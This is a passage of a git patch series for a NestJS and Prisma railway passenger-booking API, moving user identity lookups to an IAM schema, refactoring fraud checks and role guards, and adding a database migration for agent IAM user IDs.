true, @@ -140,24 +140,24 @@ export class PassengersService { savedRoutes: true, }, }); - if (!p) throw new NotFoundException('Passenger not found'); + if (!passenger) throw new NotFoundException('Passenger not found'); let iamUser: IamUserRow | null = null; - if (p.iamUserId) { + if (passenger.iamUserId) { const rows = await this.dataSource.query( `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE id = $1 LIMIT 1`, - [p.iamUserId], + [passenger.iamUserId], ); iamUser = rows[0] ?? null; } return { - id: p.id, + id: passenger.id, fullName: iamUser?.name?.en ?? iamUser?.name?.am ?? null, email: iamUser?.email ?? null, phone: iamUser?.phone_number ?? null, - createdAt: p.createdAt, - bookings: p.bookings.map((b) => ({ + createdAt: passenger.createdAt, + bookings: passenger.bookings.map((b) => ({ id: b.id, bookingRef: b.bookingRef, status: b.status, @@ -181,7 +181,7 @@ export class PassengersService { }, passengers: b.seats.map((bs) => ({ fullName: bs.passengerName, - seat: { number: bs.seat.label, coach: bs.seat.coach.label, class: bs.seat.coach.seatClass?.name ?? 'N/A' }, + seat: { number: bs.seat.seatNumber, coach: bs.seat.coach.number, class: 'N/A' }, })), })), }; diff --git a/apps/edr-passenger-api/src/modules/seats/seats.module.ts b/apps/edr-passenger-api/src/modules/seats/seats.module.ts index a21797e0f..055640a41 100644 --- a/apps/edr-passenger-api/src/modules/seats/seats.module.ts +++ b/apps/edr-passenger-api/src/modules/seats/seats.module.ts @@ -3,10 +3,9 @@ import { HttpModule } from '@nestjs/axios'; import { SeatsController } from './seats.controller'; import { SeatsService } from './seats.service'; import { SegmentsModule } from '../segments/segments.module'; -import { IamModule } from '../../common/iam.module'; @Module({ - imports: [SegmentsModule, HttpModule, IamModule], + imports: [SegmentsModule, HttpModule], controllers: [SeatsController], providers: [SeatsService], exports: [SeatsService], From e2071b4ff3b826c399b87c5aa97cff10d07c931f Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 22 Jun 2026 12:12:35 +0300 Subject: [PATCH 15/51] fix(iam): resolve post-merge type errors, migration drift, and IAM integration bugs --- .../src/modules/bookings/bookings.service.ts | 17 +++- .../modules/dashboard/dashboard.service.ts | 20 ++++- .../src/modules/fraud/fraud.controller.ts | 8 +- .../src/modules/fraud/fraud.service.ts | 90 +++++++++---------- .../passengers/passengers.controller.ts | 2 +- 5 files changed, 83 insertions(+), 54 deletions(-) diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index cf0dc4dd6..b4814d903 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -196,11 +196,26 @@ export class BookingsService { const where: any = {}; if (search) { + const iamRows = await this.dataSource.query<{ id: string }[]>( + `SELECT u.id FROM iam.users u + WHERE (u.name->>'en') ILIKE $1 OR (u.name->>'am') ILIKE $1 + OR u.email ILIKE $1 OR u.phone_number ILIKE $1`, + [`%${search}%`], + ); + const matchedPassengers = iamRows.length > 0 + ? await this.prisma.passenger.findMany({ + where: { iamUserId: { in: iamRows.map(r => r.id) } }, + select: { id: true }, + }) + : []; + where.OR = [ { bookingRef: { contains: search, mode: 'insensitive' } }, { contactEmail: { contains: search, mode: 'insensitive' } }, { contactPhone: { contains: search, mode: 'insensitive' } }, - { passenger: { user: { fullName: { contains: search, mode: 'insensitive' } } } }, + ...(matchedPassengers.length > 0 + ? [{ passengerId: { in: matchedPassengers.map(p => p.id) } }] + : []), ]; } diff --git a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts index ca1c7d17b..2d52879a8 100644 --- a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts +++ b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts @@ -1,14 +1,19 @@ import { Injectable } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; @Injectable() export class DashboardService { - constructor(private prisma: PrismaService) {} + constructor( + private prisma: PrismaService, + @InjectDataSource() private dataSource: DataSource, + ) {} async getHomeDashboard(passengerId: string) { const now = new Date(); const [passenger, upcomingBooking, wallet, promos, weatherAlerts, stationSignals, savedRoutes] = await Promise.all([ - this.prisma.passenger.findUnique({ where: { id: passengerId }, include: { user: { select: { fullName: true } }, loyalty: true } }), + this.prisma.passenger.findUnique({ where: { id: passengerId }, include: { loyalty: true } }), this.prisma.booking.findFirst({ where: { passengerId, status: 'CONFIRMED', schedule: { departureAt: { gte: now } } }, include: { @@ -27,7 +32,16 @@ export class DashboardService { const hour = now.getHours(); const greetingKey = hour < 12 ? 'MORNING' : hour < 17 ? 'AFTERNOON' : 'EVENING'; - const firstName = passenger?.user?.fullName?.split(' ')[0] ?? ''; + + let firstName = ''; + if (passenger?.iamUserId) { + const iamRows = await this.dataSource.query<{ name: { en?: string; am?: string } | null }[]>( + `SELECT name FROM iam.users WHERE id = $1 LIMIT 1`, + [passenger.iamUserId], + ); + const name = iamRows[0]?.name; + firstName = (name?.en ?? name?.am ?? '').split(' ')[0]; + } const seat = upcomingBooking?.seats[0]; return { diff --git a/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts b/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts index de6ef9ef5..a01524042 100644 --- a/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts +++ b/apps/edr-passenger-api/src/modules/fraud/fraud.controller.ts @@ -54,8 +54,8 @@ export class FraudController { */ @Post('actions/block') @ApiOperation({ summary: 'Block user temporarily' }) - async blockUser(@Body() body: { userId: string; durationMinutes: number }) { - await this.fraudService.blockUserTemporarily(body.userId, body.durationMinutes); + async blockUser(@Body() body: { iamUserId: string; durationMinutes: number }) { + await this.fraudService.blockUserTemporarily(body.iamUserId, body.durationMinutes); return { message: `User blocked for ${body.durationMinutes} minutes` }; } @@ -64,8 +64,8 @@ export class FraudController { */ @Post('actions/unblock') @ApiOperation({ summary: 'Unblock user' }) - async unblockUser(@Body() body: { userId: string }) { - await this.fraudService.unblockUser(body.userId); + async unblockUser(@Body() body: { iamUserId: string }) { + await this.fraudService.unblockUser(body.iamUserId); return { message: 'User unblocked' }; } } diff --git a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts index c7541667e..a75db4449 100644 --- a/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts +++ b/apps/edr-passenger-api/src/modules/fraud/fraud.service.ts @@ -1,5 +1,7 @@ import { Injectable, Logger } from '@nestjs/common'; import { OnEvent } from '@nestjs/event-emitter'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; export interface FraudRuleConfig { @@ -14,44 +16,37 @@ export interface FraudRuleConfig { export class FraudService { private readonly logger = new Logger(FraudService.name); - constructor(private prisma: PrismaService) {} + constructor( + private prisma: PrismaService, + @InjectDataSource() private dataSource: DataSource, + ) {} /** * Evaluate fraud rules and create alerts if triggered */ async evaluateRules( - userId: string, + passengerId: string, eventType: 'booking.created' | 'payment.failed' | 'auth.login.failed', context: Record, ): Promise<{ triggered: boolean; rules: string[] }> { const triggeredRules: string[] = []; - // Check velocity rule (multiple bookings in short time) if (eventType === 'booking.created') { - const velocityTriggered = await this.checkVelocityRule(userId); - if (velocityTriggered) { - triggeredRules.push('VELOCITY'); - } + const velocityTriggered = await this.checkVelocityRule(passengerId); + if (velocityTriggered) triggeredRules.push('VELOCITY'); - // Check high-value booking const amount = (context.amountMinor as number) || 0; const highValueTriggered = await this.checkHighValueRule(amount); - if (highValueTriggered) { - triggeredRules.push('HIGH_VALUE'); - } + if (highValueTriggered) triggeredRules.push('HIGH_VALUE'); } - // Check repeated failed payments if (eventType === 'payment.failed') { - const failedPaymentTriggered = await this.checkFailedPaymentRule(userId); - if (failedPaymentTriggered) { - triggeredRules.push('FAILED_PAYMENTS'); - } + const failedPaymentTriggered = await this.checkFailedPaymentRule(passengerId); + if (failedPaymentTriggered) triggeredRules.push('FAILED_PAYMENTS'); } - // Create alert if rules triggered if (triggeredRules.length > 0) { - await this.createFraudAlert(userId, eventType, triggeredRules, context); + await this.createFraudAlert(passengerId, eventType, triggeredRules, context); return { triggered: true, rules: triggeredRules }; } @@ -61,7 +56,7 @@ export class FraudService { /** * Check velocity rule: X bookings in Y minutes */ - private async checkVelocityRule(userId: string): Promise { + private async checkVelocityRule(passengerId: string): Promise { const rule = await this.prisma.fraudRule.findFirst({ where: { type: 'VELOCITY', enabled: true }, }); @@ -69,18 +64,14 @@ export class FraudService { if (!rule) return false; const timeWindowMinutes = (rule.config as any)?.timeWindowMinutes || 30; - const threshold = rule.threshold; - const bookingCount = await this.prisma.booking.count({ where: { - passengerId: userId, - createdAt: { - gte: new Date(Date.now() - timeWindowMinutes * 60 * 1000), - }, + passengerId, + createdAt: { gte: new Date(Date.now() - timeWindowMinutes * 60 * 1000) }, }, }); - return bookingCount > threshold; + return bookingCount > rule.threshold; } /** @@ -101,7 +92,7 @@ export class FraudService { /** * Check failed payment rule: X failed attempts in Y minutes */ - private async checkFailedPaymentRule(userId: string): Promise { + private async checkFailedPaymentRule(passengerId: string): Promise { const rule = await this.prisma.fraudRule.findFirst({ where: { type: 'FAILED_PAYMENTS', enabled: true }, }); @@ -109,33 +100,33 @@ export class FraudService { if (!rule) return false; const timeWindowMinutes = (rule.config as any)?.timeWindowMinutes || 60; - const threshold = rule.threshold; - const failedCount = await this.prisma.paymentIntent.count({ where: { - booking: { passengerId: userId }, + booking: { passengerId }, status: 'FAILED', - updatedAt: { - gte: new Date(Date.now() - timeWindowMinutes * 60 * 1000), - }, + updatedAt: { gte: new Date(Date.now() - timeWindowMinutes * 60 * 1000) }, }, }); - return failedCount > threshold; + return failedCount > rule.threshold; } /** * Create a fraud alert */ private async createFraudAlert( - userId: string, + passengerId: string, eventType: string, triggeredRules: string[], context: Record, ): Promise { + const passenger = await this.prisma.passenger.findUnique({ + where: { id: passengerId }, + select: { iamUserId: true }, + }); const alert = await this.prisma.fraudAlert.create({ data: { - iamUserId: userId, + iamUserId: passenger?.iamUserId ?? passengerId, eventType, triggeredRules, context: context as any, @@ -143,11 +134,10 @@ export class FraudService { }, }); - this.logger.warn(`Fraud alert created: ${alert.id} for user ${userId} - rules: ${triggeredRules.join(', ')}`); + this.logger.warn(`Fraud alert created: ${alert.id} for passenger ${passengerId} - rules: ${triggeredRules.join(', ')}`); - // Trigger blocking if needed if (triggeredRules.includes('HIGH_VALUE') || triggeredRules.length > 1) { - await this.blockUserTemporarily(userId, 30); // Block for 30 minutes + if (passenger?.iamUserId) await this.blockUserTemporarily(passenger.iamUserId, 30); } } @@ -231,9 +221,10 @@ export class FraudService { * Event listener for payment failed */ @OnEvent('payment.failed') - async onPaymentFailed(payload: { intentId: string; userId: string }) { - await this.evaluateRules(payload.userId, 'payment.failed', { - intentId: payload.intentId, + async onPaymentFailed(payload: { booking: { passengerId: string; id: string } }) { + if (!payload.booking?.passengerId) return; + await this.evaluateRules(payload.booking.passengerId, 'payment.failed', { + bookingId: payload.booking.id, }); } @@ -241,9 +232,18 @@ export class FraudService { * Event listener for auth login failed */ @OnEvent('auth.login.failed') - async onLoginFailed(payload: { userId: string; email: string }) { - await this.evaluateRules(payload.userId, 'auth.login.failed', { - email: payload.email, + async onLoginFailed(payload: { email: string }) { + if (!payload.email) return; + const iamRows = await this.dataSource.query<{ id: string }[]>( + `SELECT id FROM iam.users WHERE email = $1 LIMIT 1`, + [payload.email], + ); + if (!iamRows.length) return; + const passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId: iamRows[0].id }, + select: { id: true }, }); + if (!passenger) return; + await this.evaluateRules(passenger.id, 'auth.login.failed', { email: payload.email }); } } diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts index a1fa749ee..a03750965 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts @@ -242,7 +242,7 @@ The API automatically detects: description: 'Invalid JWT token (only if token provided but invalid)' }) registerPassenger(@Body() dto: RegisterPassengerDto, @Request() req: any) { - const userId = req.user?.id ?? req.user?.userId; + const userId = req.user?.id; return this.service.registerPassenger({ ...dto, userId }); } From 82900219d2d5e9d7e150fe1e6dfcf045e216cc46 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 22 Jun 2026 13:34:20 +0300 Subject: [PATCH 16/51] pass test --- apps/edr-passenger-api/src/app.module.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 742314f56..84d527bd5 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -52,7 +52,7 @@ import { FareEngineModule } from './modules/fare-engine/fare-engine.module'; import { VerifaydaModule } from './modules/verifayda/verifayda.module'; import { AuditModuleFeature } from './modules/audit/audit.module'; import { CurrenciesModule } from './modules/currencies/currencies.module'; - +// test @Module({ imports: [ ConfigModule.forRoot({ From a63b49d41990a4ba570c378746c776c6741f697d Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 22 Jun 2026 13:34:46 +0300 Subject: [PATCH 17/51] Revert "pass test" This reverts commit 82900219d2d5e9d7e150fe1e6dfcf045e216cc46. --- apps/edr-passenger-api/src/app.module.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-api/src/app.module.ts b/apps/edr-passenger-api/src/app.module.ts index 84d527bd5..742314f56 100644 --- a/apps/edr-passenger-api/src/app.module.ts +++ b/apps/edr-passenger-api/src/app.module.ts @@ -52,7 +52,7 @@ import { FareEngineModule } from './modules/fare-engine/fare-engine.module'; import { VerifaydaModule } from './modules/verifayda/verifayda.module'; import { AuditModuleFeature } from './modules/audit/audit.module'; import { CurrenciesModule } from './modules/currencies/currencies.module'; -// test + @Module({ imports: [ ConfigModule.forRoot({ From 4b3c47ca034991dabd2fa28a246dc21e1a795b5c Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 22 Jun 2026 15:01:16 +0300 Subject: [PATCH 18/51] refactor: ( iam ) remove user relations --- .../migration.sql | 39 +++++++++++++++++++ apps/edr-passenger-api/prisma/schema.prisma | 7 +--- .../src/common/iam-adapter.ts | 6 --- .../src/common/roles.decorator.ts | 3 +- .../src/modules/agents/agents.service.ts | 10 +++-- .../currencies/currencies.controller.ts | 20 +++++----- .../notifications/notifications.controller.ts | 16 ++++---- .../modules/payments/payments.controller.ts | 7 ++-- .../src/modules/reports/reports.service.ts | 23 +++++++++-- 9 files changed, 92 insertions(+), 39 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260622000002_agent_iam_user_id_drop_user_fks/migration.sql diff --git a/apps/edr-passenger-api/prisma/migrations/20260622000002_agent_iam_user_id_drop_user_fks/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260622000002_agent_iam_user_id_drop_user_fks/migration.sql new file mode 100644 index 000000000..dcd55c066 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260622000002_agent_iam_user_id_drop_user_fks/migration.sql @@ -0,0 +1,39 @@ +-- ──────────────────────────────────────────────────────────── +-- 1. Add iamUserId to Agent +-- ──────────────────────────────────────────────────────────── +ALTER TABLE passenger."Agent" ADD COLUMN IF NOT EXISTS "iamUserId" TEXT; + +DO $$ BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_constraint + WHERE conname = 'Agent_iamUserId_key' + AND conrelid = 'passenger."Agent"'::regclass + ) THEN + ALTER TABLE passenger."Agent" ADD CONSTRAINT "Agent_iamUserId_key" UNIQUE ("iamUserId"); + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS "Agent_iamUserId_idx" ON passenger."Agent"("iamUserId"); + +-- ──────────────────────────────────────────────────────────── +-- 2. Populate iamUserId for existing agent records +-- Match via User.email → iam.users.email +-- ──────────────────────────────────────────────────────────── +UPDATE passenger."Agent" a +SET "iamUserId" = iu.id +FROM passenger."User" u +JOIN iam.users iu ON iu.email = u.email +WHERE a."userId" = u.id + AND a."iamUserId" IS NULL; + +-- ──────────────────────────────────────────────────────────── +-- 3. Drop Agent.userId FK and column — iamUserId replaces it entirely +-- ──────────────────────────────────────────────────────────── +ALTER TABLE passenger."Agent" DROP CONSTRAINT IF EXISTS "Agent_userId_fkey"; +DROP INDEX IF EXISTS passenger."Agent_userId_key"; +ALTER TABLE passenger."Agent" DROP COLUMN IF EXISTS "userId"; + +-- ──────────────────────────────────────────────────────────── +-- 4. Drop Passenger.userId FK (column stays as plain nullable string) +-- ──────────────────────────────────────────────────────────── +ALTER TABLE passenger."Passenger" DROP CONSTRAINT IF EXISTS "Passenger_userId_fkey"; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index bba73740b..1321b749a 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -260,8 +260,6 @@ model User { faydaVerifiedAt DateTime? faydaSub String? @unique - passenger Passenger? - agent Agent? sessions Session[] @@schema("passenger") @@ -288,7 +286,6 @@ model Passenger { preferredLanguage String? blockedUntil DateTime? createdAt DateTime @default(now()) - user User? @relation(fields: [userId], references: [id]) bookings Booking[] loyalty LoyaltyAccount? wallet WalletAccount? @@ -1057,16 +1054,16 @@ model SegmentFareRule { model Agent { id String @id @default(uuid()) - userId String @unique + iamUserId String? @unique agentCode String @unique stationId String? commissionRate Int @default(5) active Boolean @default(true) createdAt DateTime @default(now()) - user User @relation(fields: [userId], references: [id]) bookings AgentBooking[] shifts AgentShift[] commissions AgentCommission[] + @@index([iamUserId]) @@schema("passenger") } diff --git a/apps/edr-passenger-api/src/common/iam-adapter.ts b/apps/edr-passenger-api/src/common/iam-adapter.ts index 9976caf52..96168dba8 100644 --- a/apps/edr-passenger-api/src/common/iam-adapter.ts +++ b/apps/edr-passenger-api/src/common/iam-adapter.ts @@ -1,7 +1 @@ -// Thin adapter: re-exports IAM guard and a stub IamRoles decorator so that -// controllers written against the forthcoming IamGuard compile today. export { JwtGuard as IamGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; - -export function IamRoles(..._roles: string[]) { - return function (_target: any, _key?: any, _descriptor?: any) {}; -} diff --git a/apps/edr-passenger-api/src/common/roles.decorator.ts b/apps/edr-passenger-api/src/common/roles.decorator.ts index ec0c377c6..e038e1682 100644 --- a/apps/edr-passenger-api/src/common/roles.decorator.ts +++ b/apps/edr-passenger-api/src/common/roles.decorator.ts @@ -1,5 +1,4 @@ import { SetMetadata } from '@nestjs/common'; -import { UserRole } from '@prisma/client'; export const ROLES_KEY = 'roles'; -export const Roles = (...roles: UserRole[]) => SetMetadata(ROLES_KEY, roles); +export const Roles = (...roles: string[]) => SetMetadata(ROLES_KEY, roles); diff --git a/apps/edr-passenger-api/src/modules/agents/agents.service.ts b/apps/edr-passenger-api/src/modules/agents/agents.service.ts index 12982f570..1cee0b4e4 100644 --- a/apps/edr-passenger-api/src/modules/agents/agents.service.ts +++ b/apps/edr-passenger-api/src/modules/agents/agents.service.ts @@ -13,9 +13,13 @@ export class AgentsService { constructor(private prisma: PrismaService) {} async createAgentBooking(dto: CreateAgentBookingDto) { - const agent = await this.prisma.agent.findUnique({ where: { id: dto.agentId }, include: { user: { include: { passenger: true } } } }); + const agent = await this.prisma.agent.findUnique({ where: { id: dto.agentId } }); if (!agent || !agent.active) throw new NotFoundException('Agent not found or inactive'); - if (!agent.user.passenger) throw new BadRequestException('Agent must have passenger account'); + + const passenger = agent.iamUserId + ? await this.prisma.passenger.findUnique({ where: { iamUserId: agent.iamUserId } }) + : null; + if (!passenger) throw new BadRequestException('Agent must have a linked passenger account'); const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId } }); if (!schedule) throw new NotFoundException('Schedule not found'); @@ -30,7 +34,7 @@ export class AgentsService { const booking = await this.prisma.booking.create({ data: { bookingRef: generateRef(), - passengerId: agent.user.passenger.id, + passengerId: passenger.id, scheduleId: dto.scheduleId, status: dto.paymentMethod === 'CASH' ? 'CONFIRMED' : 'PENDING_PAYMENT', totalMinor, diff --git a/apps/edr-passenger-api/src/modules/currencies/currencies.controller.ts b/apps/edr-passenger-api/src/modules/currencies/currencies.controller.ts index 3081c7a75..29209af50 100644 --- a/apps/edr-passenger-api/src/modules/currencies/currencies.controller.ts +++ b/apps/edr-passenger-api/src/modules/currencies/currencies.controller.ts @@ -2,7 +2,9 @@ import { Controller, Get, Post, Patch, Delete, Body, Param, HttpCode, UseGuards import { ApiTags, ApiBearerAuth } from '@nestjs/swagger'; import { CurrenciesService } from './currencies.service'; import { CreateCurrencyDto, UpdateCurrencyDto } from './currencies.dto'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; +import { IamGuard } from '../../common/iam-adapter'; +import { Roles } from '../../common/roles.decorator'; +import { RolesGuard } from '../../common/roles.guard'; @ApiTags('Currencies') @Controller('currencies') @@ -15,8 +17,8 @@ export class CurrenciesController { } @Post() - @UseGuards(IamGuard) - @IamRoles('ADMIN') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN') @ApiBearerAuth('IAM-auth') @HttpCode(201) createCurrency(@Body() dto: CreateCurrencyDto) { @@ -24,24 +26,24 @@ export class CurrenciesController { } @Patch(':id') - @UseGuards(IamGuard) - @IamRoles('ADMIN') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN') @ApiBearerAuth('IAM-auth') updateCurrency(@Param('id') id: string, @Body() dto: UpdateCurrencyDto) { return this.currenciesService.updateCurrency(id, dto); } @Delete(':id') - @UseGuards(IamGuard) - @IamRoles('ADMIN') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN') @ApiBearerAuth('IAM-auth') deleteCurrency(@Param('id') id: string) { return this.currenciesService.deleteCurrency(id); } @Post('sync-rates') - @UseGuards(IamGuard) - @IamRoles('ADMIN') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN') @ApiBearerAuth('IAM-auth') @HttpCode(200) syncRates() { diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts index a7921bad8..95fc0c640 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts @@ -2,7 +2,9 @@ import { Controller, Get, Param, Patch, Post, Body, UseGuards } from '@nestjs/co import { ApiTags, ApiOperation, ApiBearerAuth, ApiBody } from '@nestjs/swagger'; import { NotificationsService } from './notifications.service'; import { JwtGuard } from '../../common/jwt.guard'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; +import { IamGuard } from '../../common/iam-adapter'; +import { Roles } from '../../common/roles.decorator'; +import { RolesGuard } from '../../common/roles.guard'; import { TestNotificationDto } from './notifications.dto'; import { EmailClientService } from './email-client.service'; import { SmsClientService } from './sms-client.service'; @@ -39,8 +41,8 @@ export class NotificationsController { } @Post('send/email') - @UseGuards(IamGuard) - @IamRoles('ADMIN', 'STAFF') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN', 'STAFF') @ApiOperation({ summary: 'Send a direct email via the email microservice' }) @ApiBody({ type: SendEmail }) sendEmail(@Body() dto: SendEmail) { @@ -48,8 +50,8 @@ export class NotificationsController { } @Post('send/sms') - @UseGuards(IamGuard) - @IamRoles('ADMIN', 'STAFF') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN', 'STAFF') @ApiOperation({ summary: 'Send a direct SMS via the SMS microservice' }) @ApiBody({ type: SingleMessageDto }) sendSms(@Body() dto: SingleMessageDto) { @@ -57,8 +59,8 @@ export class NotificationsController { } @Post('send/sms/bulk') - @UseGuards(IamGuard) - @IamRoles('ADMIN', 'STAFF') + @UseGuards(IamGuard, RolesGuard) + @Roles('ADMIN', 'STAFF') @ApiOperation({ summary: 'Send bulk SMS messages via the SMS microservice' }) @ApiBody({ type: BulkMessagesDto }) sendBulkSms(@Body() dto: BulkMessagesDto) { diff --git a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts index a64c4ae9c..a87a00118 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts @@ -31,7 +31,6 @@ import { import { JwtGuard } from "../../common/jwt.guard"; import { RolesGuard } from "../../common/roles.guard"; import { Roles } from "../../common/roles.decorator"; -import { UserRole } from "@prisma/client"; @ApiTags("Payment") @Controller("payments") @@ -40,7 +39,7 @@ export class PaymentsController { @Get("all") @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.SUPERVISOR, UserRole.STAFF) + @Roles('ADMIN', 'SUPERVISOR', 'STAFF') @ApiBearerAuth("JWT-auth") @ApiOperation({ summary: "Get all payments with filters (staff/admin only)" }) @ApiQuery({ name: "search", required: false }) @@ -103,7 +102,7 @@ export class PaymentsController { @Post("refund") @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.STAFF, UserRole.AGENT) + @Roles('ADMIN', 'STAFF', 'AGENT') @ApiBearerAuth("JWT-auth") @ApiOperation({ summary: "Refund a confirmed booking (staff/agent only)" }) refund(@Body() dto: RefundDto) { @@ -112,7 +111,7 @@ export class PaymentsController { @Post("methods") @UseGuards(JwtGuard, RolesGuard) - @Roles(UserRole.ADMIN, UserRole.STAFF) + @Roles('ADMIN', 'STAFF') @ApiBearerAuth("JWT-auth") @ApiOperation({ summary: "Add a payment system to the platform catalog (admin only)", diff --git a/apps/edr-passenger-api/src/modules/reports/reports.service.ts b/apps/edr-passenger-api/src/modules/reports/reports.service.ts index d1f25dde7..5c1b5e582 100644 --- a/apps/edr-passenger-api/src/modules/reports/reports.service.ts +++ b/apps/edr-passenger-api/src/modules/reports/reports.service.ts @@ -1,10 +1,15 @@ import { Injectable } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; import { GenerateReportDto, ReportType } from './reports.dto'; @Injectable() export class ReportsService { - constructor(private prisma: PrismaService) {} + constructor( + private prisma: PrismaService, + @InjectDataSource() private dataSource: DataSource, + ) {} async generateReport(dto: GenerateReportDto) { const dateFrom = new Date(dto.dateFrom); @@ -113,13 +118,25 @@ export class ReportsService { ...(agentId ? { agentId } : {}) }, include: { - agent: { include: { user: true } }, + agent: { select: { id: true, iamUserId: true, agentCode: true } }, booking: true } }); + const iamUserIds = [...new Set( + agentBookings.map(ab => ab.agent.iamUserId).filter(Boolean) as string[] + )]; + const iamRows = iamUserIds.length > 0 + ? await this.dataSource.query<{ id: string; name: { en?: string; am?: string } | null }[]>( + `SELECT id, name FROM iam.users WHERE id = ANY($1)`, + [iamUserIds], + ) + : []; + const iamMap = new Map(iamRows.map(r => [r.id, r])); + const byAgent = agentBookings.reduce((acc, ab) => { - const agentName = ab.agent.user.fullName; + const iam = ab.agent.iamUserId ? iamMap.get(ab.agent.iamUserId) : undefined; + const agentName = iam?.name?.en ?? iam?.name?.am ?? ab.agent.agentCode; if (!acc[agentName]) { acc[agentName] = { bookings: 0, revenueMinor: 0, cashCollected: 0 }; } From 44ae3f8a67003db38cc603d52d4903062e15cbe0 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 23 Jun 2026 05:52:41 +0300 Subject: [PATCH 19/51] feat: ( fayda ) implement verify with fayda --- apps/edr-passenger-api/prisma/schema.prisma | 2 +- .../modules/verifayda/verifayda.controller.ts | 9 +- .../src/modules/verifayda/verifayda.dto.ts | 49 ++++---- .../verifayda/verifayda.service.spec.ts | 105 ++++-------------- .../modules/verifayda/verifayda.service.ts | 77 ++++--------- .../src/modules/verifayda/verifayda.types.ts | 2 +- 6 files changed, 73 insertions(+), 171 deletions(-) diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 6cbefd93f..f99c73afe 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -1271,7 +1271,7 @@ model FaydaVerificationSession { id String @id @default(uuid()) state String @unique codeVerifier String - purpose String @default("PURCHASE") + purpose String @default("VERIFY") // VERIFY | LOGIN platform String @default("WEB") // WEB | MOBILE — recorded for audit saveToAccount Boolean @default(false) status String @default("PENDING") diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts index f1eb25e8e..ac5d0c59c 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.controller.ts @@ -55,8 +55,9 @@ export class VerifaydaController { summary: 'Start a VeriFayda 2.0 verification session', description: `Creates a verification session and returns the eSignet authorize URL the frontend should send the user to. -- Works for **logged-in users** and **guests**. If a valid bearer token is present, the verification is tied to that user; when \`saveToAccount\` is true their account is marked verified on success. -- For a **PURCHASE** flow, pass \`bookingId\` to stamp the booking's seats as Fayda-verified. +- Works for **logged-in users** and **guests**. If a valid bearer token is present, the verification is tied to that user. +- **VERIFY** (default): the user proves their identity and \`/complete\` returns the verified attributes (name, email, phone, dob, gender). +- **LOGIN**: \`/complete\` resolves/creates the user and returns a JWT. - The returned \`authorizationUrl\` already carries the 